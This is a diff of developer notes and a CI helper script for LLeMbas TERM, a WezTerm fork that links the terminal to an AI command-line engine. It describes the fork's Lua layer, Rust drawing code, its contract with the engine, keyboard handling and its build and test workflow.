std::env::remove_var("LLEMBAS_TTY_CONFIG_DIR");
|
||||
// LLeMbas TERM: its own variable names
|
||||
std::env::remove_var("LLEMBAS_TERM_CONFIG_FILE");
|
||||
std::env::remove_var("LLEMBAS_TERM_CONFIG_DIR");
|
||||
}
|
||||
|
||||
if config::HOME_DIR.starts_with(append_extra_file_name_suffix(&appimage, ".home")) {
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
2.0.0-beta.18
|
||||
+273
-42
@@ -1,27 +1,66 @@
|
||||
# The LLeMbas layer — developer notes
|
||||
|
||||
Everything LLeMbas TTY adds to WezTerm lives in this directory, in `scripts/`
|
||||
Everything LLeMbas TERM adds to WezTerm lives in this directory, in `scripts/`
|
||||
and in one workflow file. WezTerm's own files are changed as little as
|
||||
possible, and each changed block carries a `LLeMbas TTY:` comment, so that
|
||||
merging upstream stays cheap (`git grep -n 'LLeMbas TTY:'` lists them all).
|
||||
possible, and each changed block carries a `LLeMbas TERM:` comment, so that
|
||||
merging upstream stays cheap (`git grep -n 'LLeMbas TERM:'` lists them all; a changed line of
|
||||
help text, which a comment inside it would show, has the comment on the line above).
|
||||
|
||||
```
|
||||
llembas/
|
||||
lua/default-config.lua the configuration used when a person has none
|
||||
lua/llembas/init.lua the layer: keys, palette, events, panes, files
|
||||
lua/llembas/core.lua every decision, as pure functions (no terminal needed)
|
||||
tests/run.lua tests of both, against tests/fake_wezterm.lua
|
||||
lua/llembas/core.lua every decision of the layer, as pure functions
|
||||
line/ a Rust crate with no dependencies: what is decided about a line of
|
||||
text (the ask line's editor, the input line read from the screen,
|
||||
the command history, suggestions, the parts of a command line)
|
||||
tests/run.lua tests of the layer, against tests/fake_wezterm.lua
|
||||
tests/shell-test.sh the shell integration's status record, in a real bash and zsh
|
||||
tests/smoke.sh headless test of built binaries (CI)
|
||||
shell/ shell integration: zones, cwd, prompt autocomplete
|
||||
tests/keys-gui.sh keys pressed in a real window on Xvfb: what reaches LLeMbas IDE's pane (CI)
|
||||
shell/ shell integration: zones, cwd, the status record
|
||||
packaging/ desktop file, appdata, icons, package.sh (.deb, tarball)
|
||||
ci/ disable-upstream-workflows.sh
|
||||
setup/llembas-term-setup installs the LLeMbas CLI and LLeMbas IDE when missing, verified
|
||||
ci/ cargo-annotated.sh, disable-upstream-workflows.sh
|
||||
wezterm-gui/src/llembas/ the thin Rust part in the terminal: the ask line (an overlay), what
|
||||
is drawn on the input line when a pane is painted, wezterm.llembas
|
||||
scripts/
|
||||
test-lua.sh run tests/run.lua with lua5.4, lua, luajit or nvim -l
|
||||
fetch-cli.sh the pinned LLeMbas CLI (llembas-cli.version), verified
|
||||
hygiene.sh nothing private in what the fork adds
|
||||
.github/workflows/llembas-tty.yml
|
||||
.github/workflows/llembas-term.yml
|
||||
```
|
||||
|
||||
## The three parts
|
||||
|
||||
| Part | Where | What it may do |
|
||||
|---|---|---|
|
||||
| The layer | `llembas/lua/` (Lua, built into the binary) | keys, palette, events; starts the display; talks to the CLI; writes the context file. Tested here, without a terminal. |
|
||||
| The line logic | `llembas/line/` (Rust, no dependencies) | decides: editing, where the input line is among cells, what to suggest, what a part of a command line is. Knows no window, pane or font. Tested by `cargo test -p llembas-line`. |
|
||||
| The drawing | `wezterm-gui/src/llembas/` (Rust) | fetches cells, places the result, takes keys. As thin as it can be, because only a person at a screen can check it. |
|
||||
|
||||
The layer asks for the drawing through `wezterm.llembas` (`wezterm-gui/src/llembas/lua.rs`):
|
||||
`ask_line(window, pane, { prefix, event, text })`, `ask_active(pane_id)`,
|
||||
`ask_prefix(window, pane, prefix)`, `configure { … }` (for every pane),
|
||||
`configure_pane(pane_id, { … })` (what is on in one pane, by its own directory's settings),
|
||||
`notice(pane, text)`, `hint(pane_id, text, gentle, source)`,
|
||||
`status(pane_id, id, seq, state, dir)`, `complete_status()`, `data_dir()`, `real_path(path)`,
|
||||
`local_dir(pane)` (the one answer to "is this pane's shell on this machine, and where"),
|
||||
`set_private(pane_id, on)`, `command_ended(pane, exit, cwd)`, `clear_history()`. The layer
|
||||
looks for each before calling it, so it also runs where they are missing (the mux server,
|
||||
the tests).
|
||||
|
||||
**Upstream files the drawing touches**, each one block with a `LLeMbas TERM:` comment:
|
||||
|
||||
| File | The block | Why there |
|
||||
|---|---|---|
|
||||
| `wezterm-gui/src/main.rs` | `mod llembas;`, one `add_context_setup_func`, and `llembas::carry_over()` before the configuration is read | where the terminal's other Lua modules are registered; the last is *The earlier name*, below |
|
||||
| `wezterm-gui/src/termwindow/render/pane.rs` | the pane's `with_lines_mut` goes through `llembas::decorate::with_lines_mut` | the one place a pane's lines are handed to the painter; with nothing on it is the same call as before |
|
||||
| `wezterm-gui/src/termwindow/keyevent.rs` | a key no binding took may take the suggestion | after key bindings, before the key is sent to the pane |
|
||||
| `wezterm-gui/Cargo.toml`, `Cargo.lock` | the dependency on `llembas/line` | |
|
||||
|
||||
The ask line needs no block of its own: it is an overlay over the pane, as the terminal's
|
||||
search and quick select are, assigned through the functions those use.
|
||||
|
||||
## How the layer gets into the terminal
|
||||
|
||||
`config/src/llembas.rs` compiles the Lua files in as text (`include_str!`)
|
||||
@@ -53,33 +92,208 @@ A new Lua module must be added to `MODULES` in `config/src/llembas.rs`.
|
||||
|
||||
## The contract with the LLeMbas CLI
|
||||
|
||||
The agent is the LLeMbas CLI, unchanged in role. The terminal drives it:
|
||||
The engine is the LLeMbas CLI; its specification (`harness/acp.md` in the CLI's repository,
|
||||
*A terminal as the client*, contracts 1 to 4) is the authority. The terminal needs **contract 4**, the one in
|
||||
which the engine knows the terminal by the name LLeMbas TERM (`core.CONTRACT`): with an
|
||||
engine of an older contract nothing of it is used, and the person is told in words to run
|
||||
`lembas update` (`messages.contract_old`). What the terminal does of it, and
|
||||
where each point is in the code (one function or constant each, in `lua/llembas/core.lua`):
|
||||
|
||||
| The terminal | The CLI |
|
||||
|---|---|
|
||||
| reads user variables `lembas_session`, `lembas_title`, `lembas_model`, `lembas_mode`, `lembas_effort`, `lembas_state` (`idle`, `waiting`, `thinking`, `tools`, `writing`, `asking`), `lembas_context` (percent), `lembas_tokens`, `lembas_spend` | sets them with OSC 1337 `SetUserVar` |
|
||||
| starts `lembas --terminal-context <file>` in a new pane, or writes `/terminal-context <file>` + Enter into a running session | reads the file, deletes it |
|
||||
| writes the question as a bracketed paste + Enter, once the session reports `lembas_state=idle` | takes it as a prompt |
|
||||
| exports `LLEMBAS_TTY` (version), `LLEMBAS_TTY_PANE`, `LLEMBAS_TTY_EXECUTABLE` to every pane | its terminal tools run `$LLEMBAS_TTY_EXECUTABLE cli send-text --pane-id N --no-paste` and `cli get-text --pane-id N` |
|
||||
| shell integration pipes the line so far to `lembas complete --shell <zsh\|bash> --cwd <dir> --timeout-ms 2500` | prints only the rest of the line; nothing means no suggestion |
|
||||
| runs `lembas sessions --json` for the resume list (falls back to `/sessions` in a new session) | prints a list of objects with `id`, and `title`, `model`, `root` |
|
||||
| The terminal | Where | The CLI |
|
||||
|---|---|---|
|
||||
| asks what the CLI can do: `lembas --version --json`; needs `terminal_contract` ≥ 4 and the part it is about to use (`terminal_surface`, `terminal_models`, `terminal_settings`, `terminal_placed`, `terminal_context_2`); asked again after a minute, and at once when what was needed was missing | `cli_info`, `cli_has`, `CAP`, `CONTRACT` | prints one JSON object |
|
||||
| starts the display: `lembas terminal --window <id> --pane <n> [--terminal-context <file>] [--mode manual\|auto] [--new]`, to the right of the pane; the id is this run of the terminal and the tab | `display_args`, `window_id`, `held` | one conversation per id |
|
||||
| writes a question, in one write: `/terminal-context <file>` + Enter when there is a context, then the question as a bracketed paste + Enter; at once when the display reports a state, else when it first says `idle` | `ask_bytes` | a new turn, or words added to the running one |
|
||||
| writes a line for the display, each one write: `/approve`, `/always`, `/deny` — with the number of what is asked when `lembas_ask` carries one (`/approve 7`), else only for an ask that has stood unchanged for two seconds — `/answer <n>` (a question card: a number or `n` typed on the ask line; words are pasted as a question is, which the display takes as the answer), `/stop`, `/new`, `/model <ref>`, `/mode <name>` | `DISPLAY_KEYS`, `answer_line`, `question_answer`, `display_line` | |
|
||||
| reads user variables `lembas_session`, `_title`, `_model`, `_mode`, `_effort`, `_state` (`idle`, `waiting`, `thinking`, `tools`, `writing`, `asking`), `_context`, `_tokens`, `_spend`, and of the display `lembas_surface` (`display`) and `lembas_ask` (`<kind>[#<id>] <keys> <text>`, the id a number of up to 9 digits; a text that ends in `…` was cut by the engine) — only of the display the layer started, or of a pane whose program in front is the CLI itself; of any other pane they are not looked at | `session_from_vars`, `parse_ask` | sets them with OSC 1337 `SetUserVar` |
|
||||
| lists and sets the terminal's two models: `lembas terminal models --json`, `lembas terminal models set --main\|--autocomplete <model>` | `models_args`, `models_set_args`, `terminal_models` | keeps them |
|
||||
| exports `LLEMBAS_TERM` (version), `LLEMBAS_TERM_PANE`, `LLEMBAS_TERM_EXECUTABLE`, `LLEMBAS_TERM_STATUS_DIR` to every pane | Rust (identity), `apply` | types into a pane with `$LLEMBAS_TERM_EXECUTABLE cli send-text --pane-id N --no-paste`, reads it with `cli get-text` |
|
||||
| the shell integration writes the pane's status record at every prompt and when a command starts: `$LLEMBAS_TERM_STATUS_DIR/pane-<n>.status` (with `pid=`) and the user variable `llembas_term_status`; a file a local shell wrote and still keeps is the authority, never replaced by a variable (`status_authority`); the layer writes the file from the variable only where no such file is (`via=uservar`, a shell on another machine) | `shell/llembas-term.sh`, `parse_status`, `status_authority`, `status_text`, `status_dir`, `status_dir_of` | waits for it after typing a command |
|
||||
| asks for the rest of a line: the line on standard input (then closed) of `lembas complete --shell <bash\|zsh\|fish> --cwd <dir> --timeout-ms <n> [--model <id>] [--debug]`, with `LLEMBAS_TERM` set; `<n>` is 8000 (the option), and 20000 at least for the first request after a change; `--debug` only once the CLI said it has contract 3 or later; `--cwd` is given (contract 3 lets it be left out; the terminal always knows one): the pane's directory, else the home directory | `llembas_line::complete` (`args`, `run`, `decide`), `wezterm-gui/src/llembas/complete.rs` | prints only the rest; nothing means no suggestion; what it writes to standard error is the sentence shown by *autocomplete status* |
|
||||
| reads and writes what the person chose (contract 3, `terminal_settings`): `lembas terminal settings --cwd <dir> --json` → `{ effective = { <key> = <value> }, from = { <key> = "default" \| "global" \| "<directory>" }, directory = { path } \| null }`; `lembas terminal settings set (--global \| --cwd <dir>) --json <key>=<value>` (`default` removes it); `lembas terminal settings forget --cwd <dir> --json` (the entry's own path, which may be a directory above the pane's: the nearest entry applies). Keys: `ai`, `autocomplete`, `suggestions`, `highlight` (`true`/`false`), `mode`, `main_model`, `autocomplete_model`, `display_width` (a part of the pane, `0.2` to `0.6`, written `0.40`; percent is read too) | `SETTINGS`, `settings_args`, `settings_set_args`, `settings_forget_args`, `settings_entry`, `setting_value`, `setting_text` | keeps them, for the machine and by directory |
|
||||
| writes the input mark `pane-<n>.input` beside the status record (mode 0600, written whole): `llembas-term-input=1`, `id=`, `seq=` (the status record's), `typed=0\|1` — only for a record the pane's own shell keeps (never for one that came by variable alone) | `llembas_line::mark`, `state::mark_input`, `decorate::compute`; the layer hands the record over with `wezterm.llembas.status` | places a command only at an empty prompt; the mark counts while its id and seq are the record's and the record is at `prompt` |
|
||||
| shows a hint while a command placed at the prompt waits for the person (contract 3, `terminal_placed`): `lembas_ask` = `placed <the command>` | `PLACED_KIND`, `parse_ask`, `messages.placed` | places the command without Enter and watches the status record: a new prompt with `ran=1` is "ran", one without is "dismissed" |
|
||||
|
||||
The status directory is `<runtime directory>/llembas-term/status-<process id of the terminal>`:
|
||||
two terminals number their panes alike, so each keeps its records apart. A
|
||||
`LLEMBAS_TERM_STATUS_DIR` in the terminal's own environment (a terminal started from a pane of
|
||||
another) or in the configuration is not used: every pane is given this terminal's own.
|
||||
Directories of terminals that are gone are removed when a display starts.
|
||||
|
||||
The context file is JSON, mode 0600, in the terminal's runtime directory,
|
||||
named `context-<unix seconds>-<random>.json`:
|
||||
|
||||
```json
|
||||
{ "version": 1, "pane": 3, "cwd": "/home/me/project", "shell": "zsh",
|
||||
"blocks": [ { "command": "make test", "exit": null, "output": "…tail…" } ],
|
||||
{ "version": 2, "pane": 3, "cwd": "/home/me/project", "shell": "zsh", "host": "buildhost",
|
||||
"blocks": [ { "seq": 17, "command": "make test", "exit": 2, "output": "…tail…" } ],
|
||||
"screen": "…only when the shell marks no commands…" }
|
||||
```
|
||||
|
||||
`exit` is always `null` today: WezTerm's Lua interface does not expose the
|
||||
exit status that OSC 133 `D` carries. Files older than ten minutes are
|
||||
removed the next time one is written.
|
||||
Version 2 (contract 2's *context that continues*) goes to an engine that says it reads it
|
||||
(`terminal_context_2`); any other gets version 1, without `host` and `seq`. `host` is there
|
||||
when the pane's shell reported a directory of another machine (`ssh` inside the pane). A
|
||||
block's `seq` is that of the status record when the command started, and its `exit` what the
|
||||
next prompt's record said — both from the record the pane's own shell keeps (`note_block`,
|
||||
`block_known`); without them `seq` is left out and `exit` is `null`. A context with no block
|
||||
and no screen is not written at all (the engine refuses an empty one): the question goes
|
||||
alone. Files that were never handed over are removed at once where the layer knows of them
|
||||
(a question replaced while the display starts, a display that ended first), and otherwise
|
||||
once they are ten minutes old: looked for at the first status update and then once a minute
|
||||
while any was written.
|
||||
|
||||
Whether a CLI is new enough is decided in exactly one function,
|
||||
`core.cli_supports_terminal`, today by comparing `lembas --version` with
|
||||
`core.MIN_CLI_VERSION`.
|
||||
### Settings: when the engine is asked
|
||||
|
||||
`init.lua` (*What the person chose, remembered*). `M.value(key, pane)` is the one place a
|
||||
setting is read: the store's value for that pane's directory (`directory`, then `global`),
|
||||
else what was chosen in this run (`session`: AI off, a CLI without the store, or a write it
|
||||
refused), else, for a directory not read yet, the machine's values as last seen
|
||||
(`global`), else the options (`config`). Without a pane it is the directory followed last. A store value whose source is `default` is not used: the
|
||||
options are the defaults.
|
||||
|
||||
- Nothing is read at start-up. `settings_awake`: from the first key or palette entry of
|
||||
LLeMbas in this run — or from the first prompt, when the empty file `settings-chosen` in
|
||||
the terminal's data directory says the person chose something through the terminal before
|
||||
(written at the first successful `set`).
|
||||
- `follow(pane)` reads the settings of the pane's directory and tells the terminal's own
|
||||
part what is on in that pane (`configure_pane`): at a new prompt of the active pane (the
|
||||
status record), at `update-status` (each window's active pane) and at every key of
|
||||
LLeMbas — after the ask line has opened, and not before an answer is sent. What the store
|
||||
said of a directory is kept for a minute (`wezterm.GLOBAL`, at most 64 directories); the
|
||||
whole of it is dropped after one of our own writes. A directory whose shell reports
|
||||
another host is not asked about.
|
||||
- **With AI off in a pane nothing is read for it** (reading starts the engine), and a choice
|
||||
is kept for the session (`messages.kept_session`), except the AI switch itself, which the
|
||||
store keeps and after which the settings are read (`follow(pane, true, true)`).
|
||||
- Every call of the engine is `wezterm.run_child_process` inside an event handler, which is
|
||||
asynchronous: the window's thread is never held.
|
||||
- A change of the applying settings goes to the terminal's own part (`configure_pane` for
|
||||
the pane; `configure` for every pane only when something that is the same everywhere
|
||||
changed), to the ask line's prefix and to the next display's arguments (`-m`, `--mode`,
|
||||
the split's size).
|
||||
A display that runs is not changed by a change of directory.
|
||||
|
||||
### A word that stands
|
||||
|
||||
`wezterm.llembas.hint(pane id, text | nil, gentle, source pane id)` keeps a word at the
|
||||
cursor's row of a pane until it is taken away, or until the source pane (the display) is
|
||||
gone. `sync_hint` in `init.lua` makes it what the display says now (`lembas_ask`): at the
|
||||
display's user variables and at `update-status`. An approval or a question may be drawn
|
||||
reversed over the end of the row, as a notice is; a *gentle* hint (a placed command) is
|
||||
drawn only beside what the row shows or on the empty row below, and not at all otherwise.
|
||||
|
||||
### Whether the input at the prompt is empty: the input mark
|
||||
|
||||
The engine places a command only at an empty prompt. The shell's hook cannot say how much is
|
||||
typed (it runs before the line is edited); the terminal can, because the shell integration
|
||||
marks the input cells. So the terminal writes the *input mark* of the engine's specification.
|
||||
|
||||
- The layer hands each status record to the terminal's own part (`wezterm.llembas.status`:
|
||||
pane, id, seq, state, and the status directory — only with AI on, for a local pane, and
|
||||
for the record the pane's own shell keeps; without the directory no mark is written and
|
||||
the record says only whether the shell is at its prompt).
|
||||
- When a pane whose shell is at a prompt is painted (`decorate::compute`), `typed` is: an
|
||||
input cell that shows something on the cursor's row; else one on the rows above that the
|
||||
cursor's row carries on from (a line wrapped over rows) — the rows already fetched, never
|
||||
the whole scrollback. The mark is written by the terminal's own writer thread, in order. The mark is written when
|
||||
the record or the answer changed (`state::mark_input`), beside the record, whole.
|
||||
- What it cannot be: ahead of the screen. It is as old as the last painting of the pane — a
|
||||
frame behind the typing, and not kept up for a pane that is not shown. A mark of an
|
||||
earlier prompt does not count (its `seq` is not the record's), and while a new prompt is
|
||||
being drawn the mark errs towards `typed=1`: a command is then not placed, never added to
|
||||
something typed.
|
||||
- Marks of terminals that are gone are removed with their status records.
|
||||
|
||||
## What the terminal draws on the input line
|
||||
|
||||
`wezterm-gui/src/llembas/decorate.rs`, at the moment a pane is painted: the rows near the
|
||||
cursor are read as cells, `llembas_line::zone` finds the input line among them (the cells the
|
||||
shell integration marked as input, touching the cursor), and a *plan* says which cells get
|
||||
another text colour and what text is placed after the cursor. The painter is handed the
|
||||
pane's own lines, with copies of the few rows the plan changes. Nothing is written to the
|
||||
pane and the terminal's model of the screen is not touched. The plan is kept while the
|
||||
pane's content, the cursor and what is on stay the same.
|
||||
|
||||
Off for a pane: while a full-screen program has it, without the shell integration, when the
|
||||
input line is longer than three rows, under an overlay (search, copy mode, the ask line),
|
||||
and when the options are off. The suggestion is drawn only in the pane that has the
|
||||
keyboard, over blank cells only, and only while the pane's status record says the shell is
|
||||
at its prompt (or there is none). A key takes exactly what was drawn (`suggest::drawn_part`:
|
||||
a cut suggestion up to the cut), and none is taken while a key sent to the pane is not on
|
||||
its screen yet (`state::key_sent`, from the key hook). Whether a command or a path exists is
|
||||
looked up only for a local pane whose shell reports this machine as its host, never on a
|
||||
network or automounted file system (`/proc/self/mounts`), and a command by the listings of
|
||||
the `PATH` directories, read at most once a minute — never a `stat` per word typed. The
|
||||
command history is appended to by the same writer thread as the marks.
|
||||
|
||||
The AI's suggestion: `llembas_line::complete::decide` says whether the line is asked about
|
||||
and, when not, why (`Skip`: also `NotAtPrompt`, and `NotAShell` when the program in front
|
||||
is no shell); `Tracker` allows one request at a time and remembers the answer
|
||||
for a line; `run_said` starts the engine (standard library only, so `cargo test -p llembas-line`
|
||||
runs it against a stand-in script); `Log` keeps the last eight attempts in memory for
|
||||
`wezterm.llembas.complete_status()`. The pane's directory is decoded from the path of the
|
||||
address its shell reported (`dir_of_url_path`): the URL library's own conversion to a file
|
||||
path refuses every address that names a host, and the shell integration always names one.
|
||||
|
||||
## Keys that LLeMbas IDE has too
|
||||
|
||||
LLeMbas IDE (Neovim) has the family's chords — `core.IDE_KEYS`, fifteen of them. While it is
|
||||
the program in front of a pane, the terminal sends them on and does nothing of its own.
|
||||
|
||||
- **How the terminal knows:** the pane's user variable `llembas_ide` is `1`
|
||||
(`core.IDE_VAR`, `ide_in_front`): the editor sets it when it starts and empties it when it
|
||||
leaves (OSC 1337 `SetUserVar`). Never the name of a process. Should the editor die without
|
||||
emptying it, the shell integration's next `state=prompt` record of that pane takes the keys
|
||||
back (`ide_gone`, in `status_changed`), until the editor says `llembas_ide` again. Whatever
|
||||
runs in a pane can set the variable; all it gets is that pane's own keys.
|
||||
- **Which bindings:** a key of the layer whose chord is one of the fifteen is bound to
|
||||
`<its event>-key` instead of its event; the handler there (`hand_over`) sends the chord on
|
||||
for an IDE pane and otherwise runs the layer's own action. The command palette's entries
|
||||
emit the plain events, so an entry picked in an IDE pane is the terminal's. Chords of the
|
||||
fifteen that only the terminal itself acts on (`core.IDE_TERMINAL_KEYS`: the command
|
||||
palette on `Ctrl+Shift+P`; `Ctrl+Tab` when the mode key was moved off it) are bound to
|
||||
`llembas-pass-<chord>`, which sends them on or performs the terminal's action. Chords
|
||||
nothing is bound to (`Ctrl+Alt+A`, `Ctrl+Alt+Shift+Y`, `Alt+Left`, `Alt+Right` by default)
|
||||
are not bound for this either: they reach the pane as every unbound key does, and
|
||||
`Alt+Right` still takes a word of a suggestion at a shell's prompt.
|
||||
- **How the key is sent on:** as bytes, written to the pane — `core.ide_key_bytes`: the kitty
|
||||
keyboard protocol's form at its first level, `CSI <code point of the key without Shift> ;
|
||||
<1 + modifiers> u` (shift 1, alt 2, ctrl 4), which is also the older CSI u form and which
|
||||
Neovim reads whether or not it asked for the protocol. Not `SendKey`: that action goes
|
||||
through `TerminalState::key_down` and termwiz's `KeyCode::encode`, which knows xterm's and
|
||||
CSI u's encodings but has no arm for the kitty protocol — the protocol's encoder
|
||||
(`KeyEvent::encode_kitty`) is only on the path of a key pressed in the window
|
||||
(`termwindow/keyevent.rs`). So `SendKey { key = 'A', mods = 'CTRL|SHIFT' }` to a pane that
|
||||
asked for the protocol writes the one byte `0x01`, the same as `Ctrl+A`.
|
||||
- **The protocol itself:** `apply` sets `enable_kitty_keyboard = true` unless the person's
|
||||
file set it (`kitty_keyboard`). It is what serves the chords nothing is bound to, and every
|
||||
other key of the editor: a program that pushed the protocol's flags (`CSI > 1 u`) is sent
|
||||
pressed keys through `encode_kitty`; a pane that never asked is `KeyboardEncoding::Xterm`
|
||||
and gets the bytes it always got. `enable_csi_u_key_encoding` is left off: it changes the
|
||||
encoding for every program, asked or not.
|
||||
- **The ask line** is drawn only in a pane that is not LLeMbas IDE's (its key is handed on),
|
||||
and on it `Ctrl+Tab` is the mode key before it is anything else: `wezterm.llembas.ask_active`
|
||||
says whether the pane's line is the ask line, `ask_prefix` changes what stands before the
|
||||
question. The lists of models are the terminal's `InputSelector`, an overlay of the tab,
|
||||
over the ask line, which is an overlay of the pane: the ask line and its text are there
|
||||
when the list closes.
|
||||
|
||||
## The earlier name
|
||||
|
||||
Up to 1.0.0-beta.5 the terminal was LLeMbas TTY. What is left of that name, and why:
|
||||
|
||||
- `env-bootstrap`: the variables the old terminal exported (`LLEMBAS_TTY…`) are dropped from
|
||||
the environment, as WezTerm's are, so that a pane of this terminal started from a pane of
|
||||
the old one does not tell the engine two things.
|
||||
- `config/src/config.rs`, `config/src/lua.rs`: a configuration file of the old name is read
|
||||
where it is while there is none of the new name, with the modules beside it; a warning
|
||||
once per start, and the layer says it once at the cursor (`core.is_old_config`).
|
||||
- `llembas/line/src/migrate.rs`, called by `llembas::carry_over()` at the start of the
|
||||
window's program: when the data directory does not exist and the old one beside it does,
|
||||
`command-history` and `settings-chosen` are copied (never moved, never over anything), and
|
||||
the log says which.
|
||||
- `packaging/package.sh`: `Replaces`, `Conflicts` and `Provides: llembas-tty`.
|
||||
- `setup/llembas-term-setup`: prints the new line for an rc file that has the old one.
|
||||
- The tests of all of these, and the entries of `CHANGELOG.md` from before the rename.
|
||||
|
||||
## Checking a change without building
|
||||
|
||||
@@ -87,16 +301,25 @@ Whether a CLI is new enough is decided in exactly one function,
|
||||
scripts/test-lua.sh --all # the layer, with every Lua found
|
||||
scripts/hygiene.sh
|
||||
rustfmt --check --edition 2018 <file> # for a Rust file you touched
|
||||
shellcheck llembas/shell/*.sh llembas/shell/autocomplete.bash; zsh -n llembas/shell/autocomplete.zsh
|
||||
rustfmt --check --edition 2021 llembas/line/src/*.rs
|
||||
llembas/tests/shell-test.sh # the status record, in bash and zsh
|
||||
shellcheck llembas/shell/*.sh; zsh -n llembas/shell/llembas-term.sh
|
||||
```
|
||||
|
||||
The terminal itself is built by CI only. `llembas/tests/smoke.sh <dir>` runs
|
||||
The terminal itself is built by CI only, and so are the tests of `llembas/line`
|
||||
(`cargo test -p llembas-line`, the first Rust step of the workflow). CI's log needs a login
|
||||
to read; `llembas/ci/cargo-annotated.sh` therefore turns every compiler error and failed test
|
||||
into an annotation on the run, which does not. `llembas/tests/smoke.sh <dir>` runs
|
||||
against built binaries with no display: names, directories, variables, the
|
||||
built-in layer and the `cli` commands the LLeMbas CLI uses.
|
||||
built-in layer, what is carried over from the earlier name, and the `cli` commands the
|
||||
LLeMbas CLI uses. `llembas/tests/keys-gui.sh <dir>` presses keys in a real window on a
|
||||
display of its own (Xvfb, xdotool) and compares the bytes that reach the pane; CI runs it
|
||||
without making it a gate, because a machine without a software OpenGL cannot make the
|
||||
window (it then ends with status 2 and says so).
|
||||
|
||||
## The GitHub repository that builds it
|
||||
|
||||
`.github/workflows/llembas-tty.yml` is the only workflow that is ours.
|
||||
`.github/workflows/llembas-term.yml` is the only workflow that is ours.
|
||||
WezTerm's workflow files are left exactly as they are; on our repository
|
||||
they are switched off as a repository setting:
|
||||
|
||||
@@ -114,8 +337,9 @@ repository needs:
|
||||
- The whole history, tags included: the hygiene check needs the commit named
|
||||
in `UPSTREAM`, and a release needs the signed tag object for its notes.
|
||||
- No secret: the workflow uses only the `GITHUB_TOKEN` it is given, with
|
||||
`contents: write` for the release. The LLeMbas CLI is fetched from its
|
||||
public releases and verified against the release key in `scripts/fetch-cli.sh`.
|
||||
`contents: write` for the release. Nothing else is fetched: the package
|
||||
carries neither the LLeMbas CLI nor LLeMbas IDE (`setup/llembas-term-setup`
|
||||
installs them on a person's machine, checked against the release key).
|
||||
- Workflow permissions that allow `contents: write` (Settings → Actions →
|
||||
General → Workflow permissions), or the release step is refused.
|
||||
|
||||
@@ -124,22 +348,26 @@ repository needs:
|
||||
```
|
||||
git fetch upstream && git merge upstream/main # never a rebase
|
||||
git rev-parse upstream/main > UPSTREAM # the hygiene check's base
|
||||
git grep -n 'LLeMbas TTY:' # every block of ours, to re-check
|
||||
git grep -n 'LLeMbas TERM:' # every block of ours, to re-check
|
||||
scripts/test-lua.sh --all
|
||||
```
|
||||
|
||||
Conflicts can only be in the blocks that grep lists. If upstream changes how
|
||||
panes get their environment, how configuration files are found, or the Lua
|
||||
API the layer calls (`pane:get_semantic_zones`, `get_text_from_semantic_zone`,
|
||||
`get_user_vars`, `split`, `PromptInputLine`, `InputSelector`,
|
||||
`update-status`, `format-tab-title`, `augment-command-palette`,
|
||||
`user-var-changed`), re-read those blocks and `lua/llembas/init.lua`.
|
||||
`get_user_vars`, `send_text`, `split`, `activate`, `tab_id`, `PromptInputLine`, `InputSelector`,
|
||||
`ActivateTabRelative`, `ActivateCommandPalette`, `enable_kitty_keyboard`, `wezterm.config_file`,
|
||||
`SpawnCommandInNewTab`, `TogglePaneZoomState`, `update-status`, `format-tab-title`,
|
||||
`augment-command-palette`, `user-var-changed`), re-read those blocks and
|
||||
`lua/llembas/init.lua`. If it changes the `Pane` trait, how overlays are assigned
|
||||
(`assign_overlay_for_pane`), `WithPaneLines`, or `Line`'s cells, re-read
|
||||
`wezterm-gui/src/llembas/` against `overlay/quickselect.rs`, which it is modelled on.
|
||||
|
||||
## Later
|
||||
|
||||
- **Neovim and the editor plugin in the package.** `package.sh` would take a
|
||||
pinned, checksum-verified Neovim release and the LLeMbas IDE plugin into
|
||||
`usr/lib/llembas-tty/nvim/`, with a launcher that sets its own
|
||||
`usr/lib/llembas-term/nvim/`, with a launcher that sets its own
|
||||
`NVIM_APPNAME` so that a person's own Neovim configuration is not touched;
|
||||
one more `fetch-*.sh` with a pin file, as for the CLI.
|
||||
- **AppImage.** Upstream's `ci/appimage.sh` assembles an AppDir from fixed
|
||||
@@ -149,8 +377,11 @@ API the layer calls (`pane:get_semantic_zones`, `get_text_from_semantic_zone`,
|
||||
binary names); the packaging (`ci/deploy.sh`, the installer script, the
|
||||
`.app` directory's name and icon) still carries WezTerm's names, and the
|
||||
layer writes its context file with `chmod`, which Windows does not have.
|
||||
- **fish.** Ghost text in fish means replacing its own autosuggestion, which
|
||||
it does not offer a hook for; a key binding like bash's
|
||||
(`commandline -i (… | lembas complete --shell fish)`) is the part that fits.
|
||||
- **Ghost text drawn by the terminal** instead of by the shell would work in
|
||||
every shell and over ssh, and needs Rust in the renderer and the key path.
|
||||
- **fish.** The shell integration is for bash and zsh. What the terminal draws needs only
|
||||
the marks around the input line (OSC 133) and the status record; a `llembas-term.fish` that
|
||||
gives both is the part to write.
|
||||
- **The shell's aliases and functions** are not known to the terminal, so a command that is
|
||||
one is not marked as existing (and `colors.unknown` is off by default for that reason). The
|
||||
shell integration could publish their names.
|
||||
- **Context file version 2** (`blocks[].seq`, `host`): the terminal would keep the status
|
||||
record's `seq` with each command it saw.
|
||||
Executable
+68
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env bash
|
||||
# Run a cargo command so that what goes wrong can be read from the run's annotations, which
|
||||
# need no login, as well as from its log, which does.
|
||||
#
|
||||
# llembas/ci/cargo-annotated.sh build --release --locked -p wezterm-gui
|
||||
# llembas/ci/cargo-annotated.sh test --release --locked -p config
|
||||
#
|
||||
# cargo is asked for its messages as JSON (the option is put right after the subcommand, so
|
||||
# no `--` with arguments for the tests may be given). Then:
|
||||
# - every compiler error is printed as the compiler rendered it, and becomes an annotation at
|
||||
# its file and line. A step shows ten annotations at most, so the first nine stand alone and
|
||||
# the next thirty share the tenth;
|
||||
# - what the tests printed is shown as it was, and when they failed the lines that say which
|
||||
# and why become one annotation;
|
||||
# - a failure that is neither (a build script, the linker, cargo itself) is annotated with the
|
||||
# end of what cargo wrote.
|
||||
# The exit status is cargo's.
|
||||
set -uo pipefail
|
||||
[ "$#" -ge 1 ] || { echo "usage: cargo-annotated.sh <subcommand> [arguments]" >&2; exit 2; }
|
||||
|
||||
work="$(mktemp -d)"
|
||||
trap 'rm -rf "${work:?}"' EXIT
|
||||
sub="$1"
|
||||
shift
|
||||
|
||||
"${CARGO:-cargo}" "$sub" --message-format=json "$@" >"$work/out" 2> >(tee "$work/err" >&2)
|
||||
rc=$?
|
||||
# the tee above is another process: let it finish writing
|
||||
sleep 1
|
||||
|
||||
# What is not a JSON message is what a test binary printed.
|
||||
